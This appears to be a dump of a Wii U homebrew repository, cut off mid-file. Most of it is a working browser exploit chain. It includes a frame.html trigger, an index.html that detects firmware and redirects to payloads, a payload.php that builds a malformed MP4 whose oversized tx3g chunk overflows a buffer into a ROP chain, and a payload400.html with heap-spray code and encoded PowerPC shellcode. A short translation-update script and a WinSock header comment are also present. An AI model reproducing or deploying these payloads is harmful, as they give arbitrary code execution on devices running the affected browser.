Recent MSDN docs indicate that the MS-specific extensions exported from\n * mswsock.dll (AcceptEx, TransmitFile. WSARecEx and GetAcceptExSockaddrs) are\n * declared in mswsock.h. These extensions are not supported on W9x or WinCE.\n * However, code using WinSock 1.1 API may expect the declarations and\n * associated defines to be in this header. Thus we include mswsock.h here.\n *\n * When linking against the WinSock 1.1 lib, wsock32.dll, the mswsock functions\n * are automatically routed to mswsock.dll (on platforms with support).\n * The WinSock 2 lib, ws2_32.dll, does not contain any references to\n * the mswsock extensions. \n */\n\n#include <mswsock.h>\n\n#endif\n"
  },
  {
    "path": "updatelang.sh",
    "content": "#! /bin/bash\n#\nfind . -iname \"*.cpp\" -or -iname \"*.c\" | xargs xgettext --no-wrap -ktr -ktrNOOP -o languages/english.lang -j --no-location --omit-header\necho \"Updated lang\"\nfind . -iname \"*.cpp\" -or -iname \"*.c\" | xargs xgettext --no-wrap -ktr -ktrNOOP -o languages/english.lang -j --omit-header --sort-by-file\n\n\nfor fn in `find languages/*.lang`; do\n    if [ \"$fn\" != \"languages/english.lang\" ]; then\n        echo \"Updated $fn\"\n        msgmerge --output-file=$fn $fn languages/english.lang  --no-wrap\n    fi\n    \ndone\n"
  },
  {
    "path": "www/loadiine_gx2/frame.html",
    "content": "<html>\n\t<head>\n\t\t<script>\n\t\t\tvar nb = 0;\n\t\t\tfunction handleBeforeLoad() {\n\t\t\t\tif (++nb == 1) {\n\t\t\t\t\tp.addEventListener('DOMSubtreeModified', parent.dsm, false);\n\t\t\t\t} else if (nb == 2) {\n\t\t\t\t\tp.removeChild(f);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfunction documentLoaded() {\n\t\t\t\tf = window.frameElement;\n\t\t\t\tp = f.parentNode;\n\t\t\t\tvar o = document.createElement(\"object\");\n\t\t\t\to.addEventListener('beforeload', handleBeforeLoad, false);\n\t\t\t\tdocument.body.appendChild(o);\n\t\t\t}\n\n\t\t\twindow.onload = documentLoaded;\n\t\t</script>\n\t</head>\n\t<body></body>\n</html>\n"
  },
  {
    "path": "www/loadiine_gx2/index.html",
    "content": "<html>\n    <head>\n    </head>\n    <body>\n\t\t<div id=\"text\"></div>\n\t\t<script type=\"text/javascript\">\n\t\t-->Browser detection code by Relys\n\t\tbrowserInfo = \"<p>Browser CodeName: \" + navigator.appCodeName + \"</p>\";\n\t\tbrowserInfo+= \"<p>Browser Name: \" + navigator.appName + \"</p>\";\n\t\tbrowserInfo+= \"<p>Browser Version: \" + navigator.appVersion + \"</p>\";\n\t\tbrowserInfo+= \"<p>Cookies Enabled: \" + navigator.cookieEnabled + \"</p>\";\n\t\tbrowserInfo+= \"<p>Platform: \" + navigator.platform + \"</p>\";\n\t\tbrowserInfo+= \"<p>User-agent header: \" + navigator.userAgent + \"</p>\";\n\t\t-->Get platform and version number\n\t\tplatform = String(navigator.platform);\n\t\tvar version = navigator.appVersion;\n\t\t-->Check to see if we're running on a Wii U\n\t\tif(platform == \"Nintendo WiiU\")\n\t\t{\n\t\t\t-->If we are then parse out the exact browser version\n\t\t\tvar versionRE = version.match(\"NX\\/(.*) NintendoBrowser\\/\");\n\t\t\t-->Ensure we were able to get browser version\n\t\t\tif(versionRE.length==2)\n\t\t\t{\n\t\t\t\t-->Store the exact browser version to a string\n\t\t\t\tversionNumber=versionRE[1];\n\t\t\t\t-->See if browser is for Wii U version 5.5.1\n\t\t\t\tif(versionNumber == \"3.0.4.2.12\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 5.5.1\";\n\t\t\t\t\twindow.location = \"payload.php?sysver=550\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 5.5.0\n\t\t\t\telse if(versionNumber == \"3.0.4.2.11\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 5.5.0\";\n\t\t\t\t\twindow.location = \"payload.php?sysver=550\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 5.4.0\n\t\t\t\telse if(versionNumber == \"3.0.4.2.9\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 5.4.0\";\n\t\t\t\t\twindow.location = \"payload.php?sysver=540\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 5.3.2\n\t\t\t\telse if(versionNumber == \"3.0.3.12.15\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 5.3.2\";\n\t\t\t\t\twindow.location = \"payload532.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 5.0.0 or 5.1.0\n\t\t\t\telse if (versionNumber == \"3.0.3.12.12\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 5.0.0 or 5.1.0\";\n\t\t\t\t\twindow.location = \"payload500.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 4.1.0\n\t\t\t\telse if (versionNumber == \"3.0.3.12.11\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 4.1.0\";\n\t\t\t\t\twindow.location = \"payload410.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 4.0.0\n\t\t\t\telse if (versionNumber == \"3.0.3.12.6\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 4.0.0\";\n\t\t\t\t\twindow.location = \"payload400.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 3.0.0 or 3.1.0\n\t\t\t\telse if (versionNumber == \"2.1.0.10.9\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 3.0.0 or 3.1.0\";\n\t\t\t\t\tvar check = new XMLHttpRequest();\n\t\t\t\t\tcheck.open('HEAD', \"payload310.html\", false);\n\t\t\t\t\tcheck.send();\n\t\t\t\t\tif (check.status != 404)\n\t\t\t\t\t\twindow.location = \"payload310.html\";\n\t\t\t\t\telse\n\t\t\t\t\t\twindow.location = \"payload300.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 2.1.0\n\t\t\t\telse if (versionNumber == \"2.1.0.8.23\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 2.1.0\";\n\t\t\t\t\twindow.location = \"payload210.html\";\n\t\t\t\t}\n\t\t\t\t-->See if browser is for Wii U version 2.0.0\n\t\t\t\telse if (versionNumber == \"2.1.0.8.21\")\n\t\t\t\t{\n\t\t\t\t\t-->Display message and redirect to payload URL\n\t\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Detected Wii U Firmware version 2.0.0\";\n\t\t\t\t\twindow.location = \"payload200.html\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t-->If we couldn't parse the browser version, throw an error message\n\t\t\telse\n\t\t\t{\n\t\t\t\tdocument.getElementById(\"text\").innerHTML=\"Unsupported Wii U Browser: \"+browserInfo;\n\t\t\t}\n\t\t}\n\t\t-->If we couldn't detect the Wii U browser, throw an error message.\n\t\telse\n\t\t{\n\t\t\tdocument.getElementById(\"text\").innerHTML=\"Unsupported Operating System: \"+browserInfo;\n\t\t}\n</script>\n    </body>\n</html>\n\n"
  },
  {
    "path": "www/loadiine_gx2/payload.php",
    "content": "<?php\n\nrequire_once(\"wiiu_browserhax_common.php\");\n\nif($sysver==532)\n{\n\t$first_tx3g_size = 0x7800;\n}\nelse if($sysver==550 || $sysver==540)\n{\n\t$first_tx3g_size = 0x8000;\n}\n$tx3g_ropchain_start = $first_tx3g_size-0x800;\n\n$generatebinrop = 1;\n$payload_srcaddr = 0x14572D28-0x5000;\n$ROPHEAP = $payload_srcaddr - 0x1000;\ngenerate_ropchain();\n\n$con = pack(\"N*\", 0x18);//ftyp\n$con.= pack(\"N*\", 0x66747970); \n$con.= pack(\"N*\", 0x33677036);\n$con.= pack(\"N*\", 0x100);\n$con.= pack(\"N*\", 0x69736F6D);\n$con.= pack(\"N*\", 0x33675336);\n\n$con.= pack(\"N*\", $first_tx3g_size + 0x1000);//moov\n$con.= pack(\"N*\", 0x6d6f6f76);\n\n$con.= pack(\"N*\", 0x6c);\n$con.= pack(\"N*\", 0x64000000);\n\n$con.= pack(\"H*\", \"00000000C95B811AC95B811AFA0002580000022D000100000100000000000000000000000000FFFFF1000000000000000000000000010000000000000000000000000000400000000000000000000000000015696F6473000000001007004FFFFF2803FF\");\n\n$con.= pack(\"N*\", $first_tx3g_size + 0x800);\n$con.= pack(\"N*\", 0x7472616b);\n\n$con.= pack(\"N*\", 0x5c);\n$con.= pack(\"N*\", 0x746b6864);\n$con.= pack(\"H*\", \"00000001C95B811AC95B811A00000001000000000000022D000000000000000000000000010000000001000000000000000800000000000000010000000000000000000000000000400000000000100000000000\");\n\n$con.= pack(\"N*\", $first_tx3g_size);//First tx3g chunk(size+chunkid).\n$con.= pack(\"N*\", 0x74783367);\n\n//Setup the data used with the buf-overflow.\nfor($i=0; $i<$first_tx3g_size-8; $i+=4)//Setup the data which will get copied to the output buffer during buf-overflow. The allocated buffer is actually 4-bytes. This will overwrite the stack for the current thread, on the heap.\n{\n\tif($i<0x6000)\n\t{\n\t\tif($i<0x1000)\n\t\t{\n\t\t\t$writeval = 0x60000000;//powerpc nop instruction\n\t\t}\n\t\t/*else if($i<0x2000)\n\t\t{\n\t\t\t$writeval = 0x44444444;\n\t\t}\n\t\telse if($i<0x3000)\n\t\t{\n\t\t\t$writeval = 0x55555555;\n\t\t}\n\t\telse if($i<0x4000)\n\t\t{\n\t\t\t$writeval = 0x66666666;\n\t\t}*/\n\t\telse if($i<0x5000)\n\t\t{\n\t\t\t//$writeval = 0x77777777;\n\t\t\t$payload = wiiuhaxx_generatepayload();\n\t\t\tif($payload === FALSE)\n\t\t\t{\n\t\t\t\theader(\"HTTP/1.1 500 Internal Server Error\");\n\t\t\t\tdie(\"The payload binary doesn't exist / is invalid.\\n\");\n\t\t\t}\n\t\t\t$con.= $payload;\n\n\t\t\t$i+= strlen($payload)-4;\n\t\t\tif($i+4 >= 0x6000)\n\t\t\t{\n\t\t\t\theader(\"HTTP/1.1 500 Internal Server Error\");\n\t\t\t\tdie(\"The payload binary is too large.\\n\");\n\t\t\t}\n\n\t\t\twhile($i+4 < 0x5000)\n\t\t\t{\n\t\t\t\t$con.= pack(\"N*\", 0x90909090);\n\t\t\t\t$i+= 4;\n\t\t\t}\n\n\t\t\tcontinue;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$writeval = 0x58585858;\n\t\t}\n\t}\n\telse if($i<$tx3g_ropchain_start)\n\t{\n\t\t$writeval = $ROP_POPJUMPLR_STACK12;\n\t}\n\telse if($i==$tx3g_ropchain_start)\n\t{\n\t\t$con.= pack(\"N*\", $ROP_POPJUMPLR_STACK12);\n\t\t$con.= pack(\"N*\", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen.\n\t\t$i+= 0x8;\n\t\t$con.= $ROPCHAIN;\n\t\t$i+= strlen($ROPCHAIN)-4;\n\n\t\tif($i+4 > $first_tx3g_size-8)\n\t\t{\n\t\t\theader(\"HTTP/1.1 500 Internal Server Error\");\n\t\t\t$pos = ($i+4) - ($first_tx3g_size-8);\n\t\t\tdie(\"The generated ROP-chain is $pos bytes too large.\\n\");\n\t\t}\n\n\t\tcontinue;\n\t}\n\telse\n\t{\n\t\t$writeval = 0x48484848;\n\t}\n\n\t$con.= pack(\"N*\", $writeval);\n}\n\n$con.= pack(\"N*\", 0x1c5);//Setup the mdia chunk.\n$con.= pack(\"N*\", 0x6d646961);\n\n$con.= pack(\"N*\", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form.\n$con.= pack(\"N*\", 0x74783367);\n$con.= pack(\"N*\", 0x1);\n$con.= pack(\"N*\", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000.\n\nfor($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that).\n{\n\t$con.= pack(\"N*\", 0x8495a6b4);\n}\n\nheader(\"Content-Type: video/mp4\");\n\necho $con;\n\n?>\n"
  },
  {
    "path": "www/loadiine_gx2/payload400.html",
    "content": "<html>\n    <head>\n        <script>\n            function sprayOne(mem, size, v) {\n                var a = new Uint32Array(size - 20);\n                for (var j = 0; j < a.length; j++) a[j] = v;\n                var t = document.createTextNode(String.fromCharCode.apply(null, new Uint32Array(a)));\n                mem.push(t);\n            }\n            function sprayInc(n) {              \n    var str = unescape(\"%u0000%u0000%u0000%u0004%u0000%u0008%u0ea1%u25b0%u1dd7%ub814%u0000%u0000%u0000%u0018%u0ea1%u2168%u0000%u0020%u0e0f%u71d8%u0000%u0000%u1dd7%ub974%u0000%u0030%u0000%u0034%u0000%u0038%u0000%u003c\");\n    str    += unescape(\"%u0000%u0000%u1dd7%ub974%u0000%u0048%u0e23%ub450%u0000%u0050%u0000%u0054%u0000%u8000%u0000%u005c%u0000%u0060%u0000%u0064%u0000%u0068%u0000%u006c%u0000%u0070%u0000%u0074%u0000%u0078%u0000%u007c\");\n    str    += unescape(\"%u0000%u0080%u0000%u0084%u0000%u0088%u0000%u008c%u0000%u0090%u0000%u0094%u0000%u0098%u0000%u009c%u0000%u00a0%u0000%u00a4%u1dd7%ub818%u0180%u0000%u0000%u00b0%u0ea1%u2168%u0000%u00b8%u0ea1%u25b0\");\n    str    += unescape(\"%u1dd7%ub81c%u0180%u0000%u0000%u00c8%u0e0f%u71d8%u0000%u0000%u0000%u8000%u0000%u00d8%u0000%u00dc%u0000%u00e0%u0000%u00e4%u0000%u0000%u0000%u8000%u0000%u00f0%u0ea1%u2168%u0000%u00f8%u0ea1%u25b0\");\n    str    += unescape(\"%u1dd7%ub820%u0180%u0000%u0000%u0108%u0e0f%u71d8%u0000%u0000%u0000%u8000%u0000%u0118%u0000%u011c%u0000%u0120%u0000%u0124%u0000%u0000%u0000%u8000%u0000%u0130%u0ea1%u2168%u0000%u0138%u0ea1%u25b0\");\n    str    += unescape(\"%u1dd7%ub814%u0000%u0001%u0000%u0148%u0ea1%u2168%u0000%u0150%u0180%u0000%u0000%u0158%u0000%u015c%u9421%ue000%u7c3f%u0b78%u3d20%u1dd7%u6129%ub814%u913f%u0008%u3920%u0000%u913f%u000c%u4800%u0034\");\n    str    += unescape(\"%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0010%u813f%u000c%u3929%u0001%u913f%u000c%u813f%u0008%u3929%u0004%u913f%u0008%u813f%u000c%u2f89%u0095%u409d%uffc8%u3d20%u0103\");\n    str    += unescape(\"%u6129%u0e9c%u3d40%u1dd7%u6143%ub814%u3d40%u1dd7%u6144%uc014%u38a0%u0600%u7d29%u03a6%u4e80%u0421%u3d20%u1dd7%u6129%ub840%u913f%u0010%u3d20%u1dd7%u6129%ub858%u913f%u0014%u815f%u0008%u813f%u0010\");\n    str    += unescape(\"%u9149%u0000%u815f%u0008%u813f%u0014%u9149%u0000%u3c20%u1dd7%u6021%ub814%u3d20%u0ea1%u6129%u25fc%u7d29%u03a6%u4e80%u0421%u813f%u0010%u8149%u0000%u391f%u0018%u3d20%u0102%u6129%ub9ac%u7d03%u4378\");\n    str    += unescape(\"%u3880%u00ff%u3d00%u0180%u38a8%u0140%u7d46%u5378%u80ff%u0008%u7d29%u03a6%u4cc6%u3182%u4e80%u0421%u395f%u0018%u3d20%u0102%u6129%ud01c%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u397f%u0120%u800b%u0004\");\n    str    += unescape(\"%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u3078%u2530%u3878%u2030%u7825%u3038%u7800%u0020%u3078%u2530%u3878%u2030%u7825%u3038%u7800%u0000%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc\");\n    str    += unescape(\"%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc\");\n    str    += unescape(\"%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u030c%u0000%u0310%u0000%u0314%u0000%u0318%u0000%u031c%u0000%u0320%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c\");\n    str    += unescape(\"%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u0000%u0368%u0000%u036c%u0000%u0370%u0000%u0374%u0000%u0378%u0000%u037c\");\n    str    += unescape(\"%u0000%u0380%u0000%u0384%u0000%u0388%u0000%u038c%u0000%u0390%u0000%u0394%u0000%u0398%u0000%u039c%u0000%u03a0%u0000%u03a4%u0000%u03a8%u0000%u03ac%u0000%u03b0%u0000%u03b4%u0000%u03b8%u0000%u03bc\");\n    str    += unescape(\"%u0000%u03c0%u0000%u03c4%u0000%u03c8%u0000%u03cc%u0000%u03d0%u0000%u03d4%u0000%u03d8%u0000%u03dc%u0000%u03e0%u0000%u03e4%u0000%u03e8%u0000%u03ec%u0000%u03f0%u0000%u03f4%u0000%u03f8%u0000%u03fc\");\n    str    += unescape(\"%u0000%u0400%u0000%u0404%u0000%u0408%u0000%u040c%u0000%u0410%u0000%u0414%u0000%u0418%u0000%u041c%u0000%u0420%u0000%u0424%u0000%u0428%u0000%u042c%u0000%u0430%u0000%u0434%u0000%u0438%u0000%u043c\");\n    str    += unescape(\"%u0000%u0440%u0000%u0444%u0000%u0448%u0000%u044c%u0000%u0450%u0000%u0454%u0000%u0458%u0000%u045c%u0000%u0460%u0000%u0464%u0000%u0468%u0000%u046c%u0000%u0470%u0000%u0474%u0000%u0478%u0000%u047c\");\n    str    += unescape(\"%u0000%u0480%u0000%u0484%u0000%u0488%u0000%u048c%u0000%u0490%u0000%u0494%u0000%u0498%u0000%u049c%u0000%u04a0%u0000%u04a4%u0000%u04a8%u0000%u04ac%u0000%u04b0%u0000%u04b4%u0000%u04b8%u0000%u04bc\");\n    str    += unescape(\"%u0000%u04c0%u0000%u04c4%u0000%u04c8%u0000%u04cc%u0000%u04d0%u0000%u04d4%u0000%u04d8%u0000%u04dc%u0000%u04e0%u0000%u04e4%u0000%u04e8%u0000%u04ec%u0000%u04f0%u0000%u04f4%u0000%u04f8%u0ea1%u25fc\");\n    str    += unescape(\"%u0ea1%u25fc%u0ea1%u25fc%u0ea1%u25fc%u0ea1%u25fc%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0103%u1c48\");\n    str    += unescape(\"%u0103%u0e9c%u0102%u0eac%u0102%u0fd4%u0e3c%u6984%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c\");\n    str    += unescape(\"%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc\");\n    str    += unescape(\"%u0000%u05c0%u0000%u05c4%u0000%u05c8%u0000%u05cc%u0000%u05d0%u0000%u05d4%u0000%u05d8%u0000%u05dc%u0000%u05e0%u0000%u05e4%u0000%u05e8%u0ea1%u25fc%u0000%u05f0%u0000%u05f4%u0000%u05f8%u0000%u05fc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }\n            \n            function sprayCode(n) {              \n    var str = unescape(\"%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1a25%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000\");\n    str    += unescape(\"%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032\");\n    str    += unescape(\"%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%ua440%u3c80%u3ce0%u6084%u4e80%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080\");\n    str    += unescape(\"%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020\");\n    str    += unescape(\"%u3c80%u4880%u6084%u0003%u9083%u0024%u3c60%ufff1%u6063%ua440%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ua460%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u4e80%u6063%u0012%u7c71%u8ba6%u3c60%u0080\");\n    str    += unescape(\"%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%ufff0%u6063%u66fc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u6788%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0\");\n    str    += unescape(\"%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ua528%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ua544\");\n    str    += unescape(\"%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u0f50\");\n    str    += unescape(\"%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u0f54%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6\");\n    str    += unescape(\"%u9421%ufff0%u93e1%u000c%u7c9f%u2378%u9001%u0014%u8124%u0018%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u0008%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u000c%u7d29%u03a6%u4e80%u0421%u815f%u0010\");\n    str    += unescape(\"%u3920%u0000%u912a%u01fc%u815f%u0014%u912a%u01ac%u813f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0020%u8001%u0014%u3880%u0004%u807f%u0000%u7d29%u03a6%u80bf%u0004%u38c0%u1000%u83e1%u000c%u7c08%u03a6\");\n    str    += unescape(\"%u3821%u0010%u4e80%u0420%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%u8460\");\n    str    += unescape(\"%u9001%u0034%u7fe9%u03a6%u38a5%u22c8%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22cf%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u22e1%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22f0%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2302\");\n    str    += unescape(\"%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u230b%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6\");\n    str    += unescape(\"%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421\");\n    str    += unescape(\"%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1%u3961%u0030%u4800%u1da8%u9421%uffd8%u7c08%u02a6%u3d20%u0102\");\n    str    += unescape(\"%ubfa1%u001c%u6129%u8460%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u2313%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6\");\n    str    += unescape(\"%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1d28%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018\");\n    str    += unescape(\"%u6129%u8460%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u2325%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1c9c%u9421%uffe0%u7c08%u02a6\");\n    str    += unescape(\"%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%u8460%u9001%u0024%u7fe9%u03a6%u38a5%u233b%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u2348\");\n    str    += unescape(\"%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u235e%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u1bc4%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002%u38e0%u0000%u7fe3%ufb78\");\n    str    += unescape(\"%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1%u37de%uffff%u40a2%uffc8%u3961%u0018%u4800%u1b58%u9421%uffe0\");\n    str    += unescape(\"%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%u8460%u9001%u0024%u7fc9%u03a6%u38a5%u2376%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000\");\n    str    += 